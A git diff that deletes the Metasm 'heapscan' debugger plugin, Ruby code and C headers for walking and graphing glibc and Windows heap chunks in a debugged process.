= struct_find_roots(addr) - @want_focus_addr = addr - gui_update - elsif @heap.chunks[addr] - @want_focus_addr = addr - do_focus_addr(addr) - else - return - end - true - end - - def do_focus_addr(addr) - st = @heap.chunk_struct[addr] || create_struct(addr) - - ed = @dasm.get_edata_at(addr) - @addr_struct = { addr => @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) } - gui_update - end - - # create the struct chunk_<addr>, register it in @heap.chunk_struct - def create_struct(addr) - raise "no chunk here" if not @heap.chunks[addr] - - ptsz = @dasm.cpu.size/8 - - # check if this is a c++ object with RTTI info - vptr = @dasm.decode_dword(addr) - rtti = @dasm.decode_dword(vptr-ptsz) - case OS.shortname - when 'winos' - typeinfo = @dasm.decode_dword(rtti+3*ptsz) if rtti - if typeinfo and s = @dasm.decode_strz(typeinfo+3*ptsz) - rtti_name = s[/^(.*)@@$/, 1] # remove trailing @@ - end - when 'linos' - typeinfo = @dasm.decode_dword(rtti+ptsz) if rtti - if typeinfo and s = @dasm.decode_strz(typeinfo) - rtti_name = s[/^[0-9]+(.*)$/, 1] # remove leading number - end - end - - if rtti_name and st = @heap.cp.toplevel.struct[rtti_name] - return @heap.chunk_struct[addr] = st - end - - st = C::Struct.new - st.name = rtti_name || "chunk_#{'%x' % addr}" - st.members = [] - li = 0 - (@heap.chunks[addr] / ptsz).times { |i| - n = 'unk_%x' % (ptsz*i) - v = @dasm.decode_dword(addr+ptsz*i) - if i == 0 and rtti_name - t = C::Pointer.new(C::Pointer.new(C::BaseType.new(:void))) - n = 'vtable' - elsif @heap.chunks[v] - t = C::Pointer.new(C::BaseType.new(:void)) - else - t = C::BaseType.new("__int#{ptsz*8}".to_sym, :unsigned) - end - st.members << C::Variable.new(n, t) - li = i+1 - } - (@heap.chunks[addr] % ptsz).times { |i| - n = 'unk_%x' % (ptsz*li+i) - t = C::BaseType.new(:char, :unsigned) - st.members << C::Variable.new(n, t) - } - @heap.cp.toplevel.struct[st.name] = st - @heap.chunk_struct[addr] = st - end - - def snap - if not snapped - @datadiff = {} - ocb = @parent_widget.bg_color_callback - @parent_widget.bg_color_callback = lambda { |a| - if @datadiff[a] - 'f88' - elsif ocb - ocb[a] - end - } - end - @snapped = {} - @addr_struct.each { |a, ast| - @snapped[a] = [ast.str[ast.stroff, ast.sizeof].to_str] - } - end - - def snap_add - return snap if not snapped - @addr_struct.each { |a, ast| - (@snapped[a] ||= []) << ast.str[ast.stroff, ast.sizeof].to_str - } - end - - def get_cursor_pos - [super, addr_struct] - end - - def set_cursor_pos(p) - s, @addr_struct = p - super(s) - end -end -end -end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb b/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb deleted file mode 100644 index 884ff79b87..0000000000 --- a/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb +++ /dev/null @@ -1,709 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -module Metasm -class Heap - attr_accessor :vm, :range, :ptsz - attr_accessor :cp - # hash chunk userdata pointer -> chunk userdata size - attr_accessor :chunks - # hash chunk user pointer -> C::Struct - attr_accessor :chunk_struct - # the chunk graph: chunk pointer -> [array of chunks addrs pointed] - attr_accessor :xrchunksto, :xrchunksfrom - - def initialize(dbg) - @dbg = dbg - @dbg.pid_stuff_list << :heap - @dbg.heap = self - @range = {} - @dwcache = {} - # userdata_ptr => len - @chunks = {} - @xrchunksto = {} - @xrchunksfrom = {} - @ptsz = dbg.cpu.size/8 - # ptr => C::Struct - @chunk_struct = {} - end - - def pagecache(base, len) - @dbg.read_mapped_range(base, len) - end - - def dwcache(base, len) - @dwcache[[base, len]] ||= pagecache(base, len).unpack(@ptsz == 4 ? 'L*' : 'Q*') - end - - # return the array of dwords in the chunk - def chunkdw(ptr, len=@chunks[ptr]) - if base = find_range(ptr) - dwcache(base, @range[base])[(ptr-base)/@ptsz, len/@ptsz] - end - end - - # returns the list of chunks, sorted - def chunklist - @chunklist ||= @chunks.keys.sort - end - - # dichotomic search of the chunk containing ptr - # len = hash ptr => length - # list = list of hash keys sorted - def find_elem(ptr, len, list=nil) - return ptr if len[ptr] - - list ||= len.keys.sort - - if list.length < 16 - return list.find { |p| p <= ptr and p + len[p] > ptr } - end - - window = list - while window and not window.empty? - i = window.length/2 - wi = window[i] - if ptr < wi - window = window[0, i] - elsif ptr < wi + len[wi] - return wi - else - window = window[i+1, i] - end - end - end - - # find the chunk encompassing ptr - def find_chunk(ptr) - find_elem(ptr, @chunks, chunklist) - end - - def find_range(ptr) - @range_keys ||= @range.keys.sort - find_elem(ptr, @range, @range_keys) - end - - # { chunk size => [list of chunk addrs] } - attr_accessor :buckets - def bucketize - @buckets = {} - chunklist.each { |a| - (@buckets[@chunks[a]] ||= []) << a - } - end - - # find the kernels of the graph (strongly connected components) - # must be called after scan_xr - # also find the graph diameter - attr_accessor :kernels, :maxpath - def find_kernels(adj = @xrchunksto) - @maxpath = [] - kernels = {} - adj.keys.sort.each { |ptr| - next if kernels[ptr] - paths = [[ptr]] - while path = paths.pop - next if not l = @xrchunksfrom[path.first] - l.each { |pl| - next if kernels[pl] - next if not adj[pl] - if path.include?(pl) - kernels[pl] = true - else - paths << [pl, *path] - end - } - @maxpath = paths.last if paths.last and paths.last.length > @maxpath.length - end - } - if @maxpath.first and np = (adj[@maxpath.last] - @maxpath).first - @maxpath << np - end - @kernels = [] - while k = kernels.index(true) - curk = reachfrom(k, adj).find_all { |ok| - true == reachfrom(ok, adj) { |tk| - break true if tk == k - } - } - @kernels << curk - curk.each { |ka| kernels.delete ka } - end - end - - attr_accessor :roots - # find the root nodes that allow acces to most other nodes - # { root => [reachable nodes] } - # does not include single nodes (@chunks.keys - @xrchunksfrom.keys) - def find_roots(adj=@xrchunksto) - @roots = {} - adj.keys.sort.each { |r| - if not @roots[r] - l = reachfrom(r, adj, @roots) - l.each { |t| @roots[t] = true if adj[t] } # may include r !, also dont mark leaves - @roots[r] = l - end - } - @roots.delete_if { |k, v| v == true } - end - - def reachfrom(p, adj = @xrchunksto, roots={}) - return roots[p] if roots[p].kind_of? Array - hash = {} - todo = [p] - while p = todo.pop - if to = roots[p] || adj[p] and to.kind_of? Array - to.each { |tk| - if not hash[tk] - hash[tk] = true - todo << tk - yield tk if block_given? - end - } - end - end - hash.keys - end - - # create a subset of xrchunksto from one point - def graph_from(p, adj = @xrchunksto) - hash = {} - todo = [p] - while p = todo.pop - next if hash[p] - if adj[p] - hash[p] = adj[p] - todo.concat hash[p] - end - end - hash - end - - # dump the whole graph in a dot file - def dump_graph(fname='graph.gv', graph=@xrchunksto) - File.open(fname, 'w') { |fd| - fd.puts "digraph foo {" - graph.each { |b, l| - fd.puts l.map { |e| '"%x" -> "%x";' % [b, e] } - } - fd.puts "}" - } - end - - # chunk ptr => { dwindex => [list of ptrs] } - attr_accessor :linkedlists, :alllists - def find_linkedlists - @linkedlists = {} - @alllists = [] - @buckets.sort.each { |sz, lst| - #puts "sz #{sz} #{lst.length}" - lst.each { |ptr| - next if not l = @xrchunksto[ptr] - next if not l.find { |tg| @chunks[tg] == sz } - dw = chunkdw(ptr) - dw.length.times { |dwoff| - next if @linkedlists[ptr] and @linkedlists[ptr][dwoff] - tg = dw[dwoff] - next if @chunks[tg] != sz - check_linkedlist(ptr, dwoff) - } - } - } - end - - def check_linkedlist(ptr, dwoff) - psz = @chunks[ptr] - fwd = ptr - lst = [fwd] - base = find_range(fwd) - loop do - if not base or base > fwd or base + @range[base] <= fwd - base = find_range(fwd) - end - break if not base - fwd = dwcache(base, @range[base])[(fwd-base)/@ptsz + dwoff] - break if fwd == 0 - return if not cl = @chunks[fwd] # XXX root/tail may be in .data - return if cl != psz - break if lst.include? fwd - lst << fwd - end - fwd = ptr - while pv = @xrchunksfrom[fwd] - fwd = pv.find { |p| - next if @chunks[p] != psz - if not base or base > p or base + @range[base] <= p - base = find_range(fwd) - end - dwcache(base, @range[base])[(p-base)/@ptsz + dwoff] == fwd - } - break if not fwd - break if lst.include? fwd - lst.unshift fwd - end - if lst.length > 3 - lst.each { |p| (@linkedlists[p] ||= {})[dwoff] = lst } - @alllists << lst - end - end - - # { chunkinarray => { rootptr => [chunks] } } - attr_accessor :arrays, :allarrays - def find_arrays - @arrays = {} - @allarrays = [] - @buckets.sort.each { |sz, lst| - next if sz < @ptsz*6 - lst.each { |ptr| - next if not to = @xrchunksto[ptr] - # a table must have at least half its storage space filled with ptrs - next if to.length <= sz/@ptsz/2 - # also, ptrs must point to same-size stuff - lsz = Hash.new(0) - to.each { |t| lsz[@chunks[t]] += 1 } - cnt = lsz.values.max - next if cnt <= sz/@ptsz/2 - tgsz = lsz.index(cnt) - ar = to.find_all { |t| @chunks[t] == tgsz }.uniq - next if ar.length <= sz/@ptsz/2 - ar.each { |p| (@arrays[p] ||= {})[ptr] = ar } - @allarrays << ar - } - } - end -end - -class LinuxHeap < Heap - # find all chunks in the memory address space - attr_accessor :mmaps - - def scan_chunks - @chunks = {} - each_heap { |a, l, ar| - scan_heap(a, l, ar) - } - @mmapchunks = [] - @mmaps.each { |a, l| - ll = scan_mmap(a, l) || 4096 - a += ll - l -= ll - } - end - - # scan all chunks for cross-references (one chunk contaning a pointer to some other chunk) - def scan_chunks_xr - @xrchunksto = {} - @xrchunksfrom = {} - each_heap { |a, l, ar| - scan_heap_xr(a, l) - } - @mmapchunks.each { |a| - scan_mmap_xr(a, @chunks[a]) - } - end - - # scan chunks from a heap base addr - def scan_heap(base, len, ar) - dw = dwcache(base, len) - ptr = 0 - - psz = dw[ptr] - sz = dw[ptr+1] - base += 2*@ptsz # user pointer - raise "bad heap base %x %x %x %x" % [psz, sz, base, len] if psz != 0 or sz & 1 == 0 - - loop do - clen = sz & -8 # chunk size - ptr += clen/@ptsz # start of next chk - break if ptr >= dw.length or clen == 0 - sz = dw[ptr+1] - if sz & 1 > 0 # pv_inuse - # user data length up to chucksize-4 (over next psz) - #puts "used #{'%x' % base} #{clen-@ptsz}" if $VERBOSE - @chunks[base] = clen-@ptsz - else - #puts "free #{'%x' % base} #{clen-@ptsz}" if $VERBOSE - end - base += clen - end - - del_fastbin(ar) - end - - def scan_heap_xr(base, len) - dw = dwcache(base, len) - @chunks.each_key { |p| - i = (p-base) / @ptsz - if i >= 0 and i < dw.length - lst = dw[i, @chunks[p]/@ptsz].find_all { |pp| @chunks[pp] } - @xrchunksto[p] = lst if not lst.empty? - lst.each { |pp| (@xrchunksfrom[pp] ||= []) << p } - end - } - end - - # scan chunks from a mmap base addr - # big chunks are allocated on anonymous-mmap areas - # for mmap chunks, pv_sz=0 pv_inuse=0, mmap=1, data starts at 8, mmapsz = userlen+12 [roundup 4096] - # one entry in /proc/pid/maps may point to multiple consecutive mmap chunks - # scans for a mmap chunk header, returns the chunk size if pattern match or nil - def scan_mmap(base, len) - foo = chunkdata(base) - clen = foo[1] & ~0xfff - if foo[0] == 0 and foo[1] & 0xfff == 2 and clen > 0 and clen <= len - @chunks[base + foo.length] = clen-4*@ptsz - @mmapchunks << (base + foo.length) - clen - end - end - - def scan_mmap_xr(base, len) - dw = dwcache(base, len) - lst = dw[2..-1].find_all { |pp| @chunks[pp] } - @xrchunksto[base] = lst if not lst.empty? - lst.each { |pp| (@xrchunksfrom[pp] ||= []) << base } - end - - attr_accessor :main_arena_ptr - - # we need to find the main_arena from the libc - # we do this by analysing 'malloc_trim' - def scan_libc(addr) - raise 'no libc' if not addr - - return if @main_arena_ptr = @dbg.symbols.index('main_arena') - - unless trim = @dbg.symbols.index('malloc_trim') || @dbg.symbols.index('weak_malloc_trim') - @dbg.loadsyms 'libc[.-]' - trim = @dbg.symbols.index('malloc_trim') || @dbg.symbols.index('weak_malloc_trim') - end - raise 'cant find malloc_trim' if not trim - - d = @dbg.disassembler - - d.disassemble_fast(trim) if not d.di_at(trim) - if d.block_at(trim).list.last.opcode.name == 'call' - # x86 getip, need to dasm to have func_binding (cross fingers) - d.disassemble d.block_at(trim).to_normal.first - end - d.each_function_block(trim) { |b| - # mutex_lock(&main_arena.mutex) gives us the addr - next if not cmpxchg = d.block_at(b).list.find { |di| di.kind_of? DecodedInstruction and di.opcode.name == 'cmpxchg' } - @main_arena_ptr = d.backtrace(cmpxchg.instruction.args.first.symbolic.pointer, cmpxchg.address) - if @main_arena_ptr.length == 1 - @main_arena_ptr = @main_arena_ptr[0].reduce - break - end - } - raise "cant find mainarena" if not @main_arena_ptr.kind_of? Integer - @dbg.symbols[@main_arena_ptr] = 'main_arena' - end - - def chunkdata(ptr) - @cp.decode_c_ary('uintptr_t', 2, @dbg.memory, ptr).to_array - end - - def each_heap - if not @cp.toplevel.struct['malloc_state'] - @cp.parse <<EOS -// TODO autotune these 2 defines.. -#define THREAD_STATS 0 -//#define PER_THREAD - -#define NFASTBINS 10 -#define NBINS 128 -#define BINMAPSIZE (NBINS/32) - -struct malloc_state { - int mutex; - int flags; -#if THREAD_STATS - long stat_lock_direct, stat_lock_loop, stat_lock_wait; -#endif - void *fastbinsY[NFASTBINS]; - void *top; - void *last_remainder; - void *bins[NBINS * 2 - 2]; // *2: double-linked list - unsigned int binmap[BINMAPSIZE]; - struct malloc_state *next; -#ifdef PER_THREAD - struct malloc_state *next_free; -#endif - uintptr_t system_mem; // XXX int32? - uintptr_t max_system_mem; -}; - -struct heap_info { - struct malloc_state *ar_ptr; // Arena for this heap. - struct _heap_info *prev; // Previous heap. - uintptr_t size; // Current size in bytes. XXX int32? - uintptr_t mprotect_size; // Size in bytes that has been mprotected -}; -EOS - end - - ptr = @main_arena_ptr - loop do - ar = @cp.decode_c_struct('malloc_state', @dbg.memory, ptr) - if ptr == @main_arena_ptr - # main arena: find start from top.end - system_mem - toplen = chunkdata(ar.top)[1] & -8 - yield ar.top + toplen - ar.system_mem, ar.system_mem, ar - else - # non-main arena: find heap_info for top, follow list - iptr = ar.top & -0x10_0000 # XXX - while iptr - hi = @cp.decode_c_struct('heap_info', @dbg.memory, iptr) - off = hi.sizeof - off += ar.sizeof if iptr+off == hi.ar_ptr - yield iptr+off, hi.size-off, ar - - iptr = hi.prev - end - end - - ptr = ar.next - break if ptr == @main_arena_ptr - end - end - - def del_fastbin(ar) - nfastbins = 10 - nfastbins.times { |i| - ptr = ar.fastbinsy[i] - while ptr - @chunks.delete ptr+2*@ptsz - ptr = @cp.decode_c_ary('void *', 3, @dbg.memory, ptr)[2] - end - } - end -end - - -class WindowsHeap < Heap - attr_accessor :heaps - - def scan_chunks - @hsz = @cp.sizeof(@cp.find_c_struct('_HEAP_ENTRY')) - @chunks = {} - each_heap { |ar| scan_heap(ar) } - end - - # scan all chunks for cross-references (one chunk containing a pointer to some other chunk) - def scan_chunks_xr - @xrchunksto = {} - @xrchunksfrom = {} - each_heap { |ar| scan_heap_xr(ar) } - end - - # scan chunks from a heap - def scan_heap(ar) - each_heap_segment(ar) { |p, l| - scan_heap_segment(p, l) - } - scan_frontend(ar) - scan_valloc(ar) - end - - def scan_frontend(ar) - if ar.frontendheaptype == 1 - laptr = ar.frontendheap - @chunks.delete laptr # not a real (user) chunk - 128.times { - la = @cp.decode_c_struct('_HEAP_LOOKASIDE', @dbg.memory, laptr) - free = la.listhead.flink - while free - @chunks.delete free - free = @cp.decode_c_struct('_LIST_ENTRY', @dbg.memory, free).flink - end - laptr += la.sizeof - } - end - end - - def scan_valloc(ar) - each_listentry(ar.virtualallocdblocks, '_HEAP_VIRTUAL_ALLOC_ENTRY') { |va| - # Unusedbyte count stored in the BusyBlock.Size field - @chunks[va.stroff + va.sizeof] = va.CommitSize - va.Size - } - end - - def scan_heap_segment(first, len) - off = 0 - heapcpy = pagecache(first, len) - while off < len - he = @cp.decode_c_struct('_HEAP_ENTRY', heapcpy, off) - sz = he.Size*8 - if he.Flags & 1 == 1 - @chunks[first+off+@hsz] = sz - he.UnusedBytes - end - off += sz - end - end - - def scan_heap_xr(ar) - each_heap_segment(ar) { |p, l| - scan_heap_segment_xr(p, l) - } - end - - def scan_heap_segment_xr(first, len) - off = 0 - heapcpy = pagecache(first, len) - while off < len - he = @cp.decode_c_struct('_HEAP_ENTRY', heapcpy, off) - sz = he.Size*8 - ptr = first + off + @hsz - if he.Flags & 1 == 1 and csz = @chunks[ptr] and csz > 0 - heapcpy[off + @hsz, csz].unpack('L*').each { |p| - if @chunks[p] - (@xrchunksto[ptr] ||= []) << p - (@xrchunksfrom[p] ||= []) << ptr - end - } - end - off += sz - end - end - - # yields the _HEAP structure for all heaps - def each_heap - heaps.each { |a, l| - ar = @cp.decode_c_struct('_HEAP', @dbg.memory, a) - yield ar - } - end - - # yields all [ptr, len] for allocated segments of a _HEAP - # this maps to the _HEAP_SEGMENT further subdivised to skip - # the _HEAP_UNCOMMMTTED_RANGE areas - # for the last chunk of the _HEAP_SEGMENT, only yield up to chunk_header - def each_heap_segment(ar) - ar.segments.to_array.compact.each { |a| - sg = @cp.decode_c_struct('_HEAP_SEGMENT', @dbg.memory, a) - skiplist = [] - ptr = sg.uncommittedranges - while ptr - ucr = @cp.decode_c_struct('_HEAP_UNCOMMMTTED_RANGE', @dbg.memory, ptr) - skiplist << [ucr.Address, ucr.Size] - ptr = ucr.Next - end - ptr = sg.firstentry - # XXX lastentryinsegment == firstentry ??? - # lastvalidentry = address of the end of the segment (may point to unmapped space) - ptrend = sg.lastvalidentry - skiplist.delete_if { |sa, sl| sa < ptr or sa + sl > ptrend } - skiplist << [ptrend, 1] - skiplist.sort.each { |sa, sl| - yield(ptr, sa-ptr) - ptr = sa + sl - } - } - end - - # call with a LIST_ENTRY allocstruct, the target structure and LE offset in this structure - def each_listentry(le, st, off=0) - ptr0 = le.stroff - ptr = le.flink - while ptr != ptr0 - yield @cp.decode_c_struct(st, @dbg.memory, ptr-off) - ptr = @cp.decode_c_struct('_LIST_ENTRY', @dbg.memory, ptr).flink - end - end -end - -class Windows7Heap < WindowsHeap - # 4-byte xor key to decrypt the chunk headers - attr_accessor :chunkkey_size, :chunkkey_flags, :chunkkey_unusedbytes - def each_heap_segment(ar) - if ar.encodeflagmask != 0 - @chunkkey_size = ar.encoding.size - @chunkkey_flags = ar.encoding.flags - @chunkkey_unusedbytes = ar.encoding.unusedbytes - else - @chunkkey_size = 0 - @chunkkey_flags = 0 - @chunkkey_unusedbytes = 0 - end - - each_listentry(ar.segmentlist, '_HEAP_SEGMENT', 0x10) { |sg| - skiplist = [] - each_listentry(sg.ucrsegmentlist, '_HEAP_UCR_DESCRIPTOR', 8) { |ucr| - skiplist << [ucr.address, ucr.size] - } - - ptr = sg.firstentry - ptrend = sg.lastvalidentry + @hsz - skiplist.delete_if { |sa, sl| sa < ptr or sa + sl > ptrend } - skiplist << [ptrend, 1] - skiplist.sort.each { |sa, sl| - yield(ptr, sa-ptr) - ptr = sa + sl - } - } - end - - def scan_heap_segment(first, len) - off = 0 - heapcpy = pagecache(first, len) - while off < len - he = @cp.decode_c_struct('_HEAP_ENTRY', heapcpy, off) - sz = (he.Size ^ @chunkkey_size)*8 - if (he.Flags ^ @chunkkey_flags) & 1 == 1 - @chunks[first+off+@hsz] = sz - (he.UnusedBytes ^ @chunkkey_unusedbytes) - end - off += sz - end - end - - def scan_frontend(ar) - return if ar.frontendheaptype != 2 - lfh = @cp.decode_c_struct('_LFH_HEAP', @dbg.memory, ar.frontendheap) - lfh.localdata[0].segmentinfo.to_array.each { |sinfo| - sinfo.cacheditems.to_array.each { |ssp| - next if not ssp - subseg = @cp.decode_c_struct('_HEAP_SUBSEGMENT', @dbg.memory, ssp) - scan_lfh_ss(subseg) - } - } - end - - def scan_lfh_ss(subseg) - up = subseg.userblocks - return if not up - bs = subseg.blocksize - bc = subseg.blockcount - list = Array.new(bc) { |i| up + 0x10 + bs*8*i } - - free = [] - ptr = subseg.freeentryoffset - subseg.depth.times { - free << (up + 8*ptr) - ptr = @dbg.memory[up + 8*ptr + 8, 2].unpack('v')[0] - } -@foo ||= 0 -@foo += 1 -p @foo if @foo % 10 == 0 - - up += 0x10 - list -= free - list.each { |p| @chunks[p+8] = bs*8 - (@cp.decode_c_struct('_HEAP_ENTRY', @dbg.memory, p).unusedbytes & 0x7f) } - end - - def scan_chunks_xr - @xrchunksto = {} - @xrchunksfrom = {} - @chunks.each { |a, l| - pagecache(a, l).unpack('L*').each { |p| - if @chunks[p] - (@xrchunksto[a] ||= []) << p - (@xrchunksfrom[p] ||= []) << a - end - } - } - end -end -end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/winheap.h b/lib/metasm/samples/dbg-plugins/heapscan/winheap.h deleted file mode 100644 index adcc7fb004..0000000000 --- a/lib/metasm/samples/dbg-plugins/heapscan/winheap.h +++ /dev/null @@ -1,174 +0,0 @@ -typedef void VOID; -typedef unsigned __int8 UINT8; -typedef unsigned __int16 UINT16; -typedef __int32 LONG32; -typedef unsigned __int32 ULONG32; -typedef unsigned __int64 UINT64; - -// pseudo struct, for the PEB heap list -struct HEAPTABLE { - struct _HEAP *list[16]; -}; - -struct _LIST_ENTRY { - struct _LIST_ENTRY *FLink; - struct _LIST_ENTRY *BLink; -}; - -union _SLIST_HEADER { - struct _LIST_ENTRY le; -}; - -typedef struct _HEAP_ENTRY // 7 elements, 0x8 bytes (sizeof) -{ -// union // 2 elements, 0x4 bytes (sizeof) -// { -// struct // 2 elements, 0x4 bytes (sizeof) -// { -/*0x000*/ UINT16 Size; -/*0x002*/ UINT16 PreviousSize; -// }; -///*0x000*/ VOID* SubSegmentCode; -// }; -/*0x004*/ UINT8 SmallTagIndex; -/*0x005*/ UINT8 Flags; -/*0x006*/ UINT8 UnusedBytes; -/*0x007*/ UINT8 SegmentIndex; -}HEAP_ENTRY, *PHEAP_ENTRY; - -typedef struct _HEAP // 36 elements, 0x588 bytes (sizeof) -{ -/*0x000*/ struct _HEAP_ENTRY Entry; // 7 elements, 0x8 bytes (sizeof) -/*0x008*/ ULONG32 Signature; -/*0x00C*/ ULONG32 Flags; -/*0x010*/ ULONG32 ForceFlags; -/*0x014*/ ULONG32 VirtualMemoryThreshold; -/*0x018*/ ULONG32 SegmentReserve; -/*0x01C*/ ULONG32 SegmentCommit; -/*0x020*/ ULONG32 DeCommitFreeBlockThreshold; -/*0x024*/ ULONG32 DeCommitTotalFreeThreshold; -/*0x028*/ ULONG32 TotalFreeSize; -/*0x02C*/ ULONG32 MaximumAllocationSize; -/*0x030*/ UINT16 ProcessHeapsListIndex; -/*0x032*/ UINT16 HeaderValidateLength; -/*0x034*/ VOID* HeaderValidateCopy; -/*0x038*/ UINT16 NextAvailableTagIndex; -/*0x03A*/ UINT16 MaximumTagIndex; -/*0x03C*/ struct _HEAP_TAG_ENTRY* TagEntries; -/*0x040*/ struct _HEAP_UCR_SEGMENT* UCRSegments; -/*0x044*/ struct _HEAP_UNCOMMMTTED_RANGE* UnusedUnCommittedRanges; -/*0x048*/ ULONG32 AlignRound; -/*0x04C*/ ULONG32 AlignMask; -/*0x050*/ struct _LIST_ENTRY VirtualAllocdBlocks; // 2 elements, 0x8 bytes (sizeof) -/*0x058*/ struct _HEAP_SEGMENT* Segments[64]; - union // 2 elements, 0x10 bytes (sizeof) - { -/*0x158*/ ULONG32 FreeListsInUseUlong[4]; -/*0x158*/ UINT8 FreeListsInUseBytes[16]; - }u; - union // 2 elements, 0x2 bytes (sizeof) - { -/*0x168*/ UINT16 FreeListsInUseTerminate; -/*0x168*/ UINT16 DecommitCount; - }u2; -/*0x16A*/ UINT16 AllocatorBackTraceIndex; -/*0x16C*/ ULONG32 NonDedicatedListLength; -/*0x170*/ VOID* LargeBlocksIndex; -/*0x174*/ struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries; -/*0x178*/ struct _LIST_ENTRY FreeLists[128]; -/*0x578*/ struct _HEAP_LOCK* LockVariable; -///*0x57C*/ FUNCT_0049_0C5F_CommitRoutine* CommitRoutine; -/*0x57C*/ VOID* CommitRoutine; -/*0x580*/ VOID* FrontEndHeap; -/*0x584*/ UINT16 FrontHeapLockCount; -/*0x586*/ UINT8 FrontEndHeapType; -/*0x587*/ UINT8 LastSegmentIndex; -}HEAP, *PHEAP; - -typedef struct _HEAP_UNCOMMMTTED_RANGE // 4 elements, 0x10 bytes (sizeof) -{ -/*0x000*/ struct _HEAP_UNCOMMMTTED_RANGE* Next; -/*0x004*/ ULONG32 Address; -/*0x008*/ ULONG32 Size; -/*0x00C*/ ULONG32 filler; -}HEAP_UNCOMMMTTED_RANGE, *PHEAP_UNCOMMMTTED_RANGE; - -typedef struct _HEAP_ENTRY_EXTRA // 4 elements, 0x8 bytes (sizeof) -{ - union // 2 elements, 0x8 bytes (sizeof) - { - struct // 3 elements, 0x8 bytes (sizeof) - { -/*0x000*/ UINT16 AllocatorBackTraceIndex; -/*0x002*/ UINT16 TagIndex; -/*0x004*/ ULONG32 Settable; - }; -/*0x000*/ UINT64 ZeroInit; - }; -}HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; - -typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY // 5 elements, 0x20 bytes (sizeof) -{ -/*0x000*/ struct _LIST_ENTRY Entry; // 2 elements, 0x8 bytes (sizeof) -/*0x008*/ struct _HEAP_ENTRY_EXTRA ExtraStuff; // 4 elements, 0x8 bytes (sizeof) -/*0x010*/ ULONG32 CommitSize; -/*0x014*/ ULONG32 ReserveSize; -/*0x018*/ struct _HEAP_ENTRY BusyBlock; // 7 elements, 0x8 bytes (sizeof) -}HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; - - -typedef struct _HEAP_FREE_ENTRY // 8 elements, 0x10 bytes (sizeof) -{ - union // 2 elements, 0x4 bytes (sizeof) - { - struct // 2 elements, 0x4 bytes (sizeof) - { -/*0x000*/ UINT16 Size; -/*0x002*/ UINT16 PreviousSize; - }; -/*0x000*/ VOID* SubSegmentCode; - }; -/*0x004*/ UINT8 SmallTagIndex; -/*0x005*/ UINT8 Flags; -/*0x006*/ UINT8 UnusedBytes; -/*0x007*/ UINT8 SegmentIndex; -/*0x008*/ struct _LIST_ENTRY FreeList; // 2 elements, 0x8 bytes (sizeof) -}HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY; - -typedef struct _HEAP_LOOKASIDE // 10 elements, 0x30 bytes (sizeof) -{ -/*0x000*/ union _SLIST_HEADER ListHead; // 4 elements, 0x8 bytes (sizeof) -/*0x008*/ UINT16 Depth; -/*0x00A*/ UINT16 MaximumDepth; -/*0x00C*/ ULONG32 TotalAllocates; -/*0x010*/ ULONG32 AllocateMisses; -/*0x014*/ ULONG32 TotalFrees; -/*0x018*/ ULONG32 FreeMisses; -/*0x01C*/ ULONG32 LastTotalAllocates; -/*0x020*/ ULONG32 LastAllocateMisses; -/*0x024*/ ULONG32 Counters[2]; -/*0x02C*/ UINT8 _PADDING0_[0x4]; -}HEAP_LOOKASIDE, *PHEAP_LOOKASIDE; - -struct FRONTEND1 { - struct _HEAP_LOOKASIDE l[128]; -}; - -typedef struct _HEAP_SEGMENT // 15 elements, 0x3C bytes (sizeof) -{ -/*0x000*/ struct _HEAP_ENTRY Entry; // 7 elements, 0x8 bytes (sizeof) -/*0x008*/ ULONG32 Signature; -/*0x00C*/ ULONG32 Flags; -/*0x010*/ struct _HEAP* Heap; -/*0x014*/ ULONG32 LargestUnCommittedRange; -/*0x018*/ VOID* BaseAddress; -/*0x01C*/ ULONG32 NumberOfPages; -/*0x020*/ struct _HEAP_ENTRY* FirstEntry; -/*0x024*/ struct _HEAP_ENTRY* LastValidEntry; -/*0x028*/ ULONG32 NumberOfUnCommittedPages; -/*0x02C*/ ULONG32 NumberOfUnCommittedRanges; -/*0x030*/ struct _HEAP_UNCOMMMTTED_RANGE* UnCommittedRanges; -/*0x034*/ UINT16 AllocatorBackTraceIndex; -/*0x036*/ UINT16 Reserved; -/*0x038*/ struct _HEAP_ENTRY* LastEntryInSegment; -}HEAP_SEGMENT, *PHEAP_SEGMENT; diff --git a/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h b/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h deleted file mode 100644 index 9358915856..0000000000 --- a/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h +++ /dev/null @@ -1,307 +0,0 @@ -typedef void VOID; -typedef unsigned __int8 UINT8; -typedef unsigned __int16 UINT16, WCHAR; -typedef __int32 LONG32; -typedef unsigned __int32 ULONG32; -typedef __int64 INT64; -typedef unsigned __int64 UINT64; - -struct HEAPTABLE { - struct _HEAP *list[16]; -}; - -struct _LIST_ENTRY { - struct _LIST_ENTRY *FLink; - struct _LIST_ENTRY *BLink; -}; - -typedef struct _SLIST_HEADER { - struct _SLIST_HEADER *Next; - UINT16 Depth; - UINT16 Sequence; -} SLIST_HEADER, *PSLIST_HEADER; - -struct _SINGLE_LIST_ENTRY { - struct _SINGLE_LIST_ENTRY *Next; -}; - - -typedef struct _HEAP_ENTRY { - VOID* PreviousBlockPrivateData; - UINT16 Size; - UINT8 Flags; - UINT8 SmallTagIndex; - UINT16 PreviousSize; - union - { - UINT8 SegmentOffset; - UINT8 LFHFlags; - }; - UINT8 UnusedBytes; -} HEAP_ENTRY, *PHEAP_ENTRY; - -typedef struct _HEAP_COUNTERS -{ - ULONG32 TotalMemoryReserved; - ULONG32 TotalMemoryCommitted; - ULONG32 TotalMemoryLargeUCR; - ULONG32 TotalSizeInVirtualBlocks; - ULONG32 TotalSegments; - ULONG32 TotalUCRs; - ULONG32 CommittOps; - ULONG32 DeCommitOps; - ULONG32 LockAcquires; - ULONG32 LockCollisions; - ULONG32 CommitRate; - ULONG32 DecommittRate; 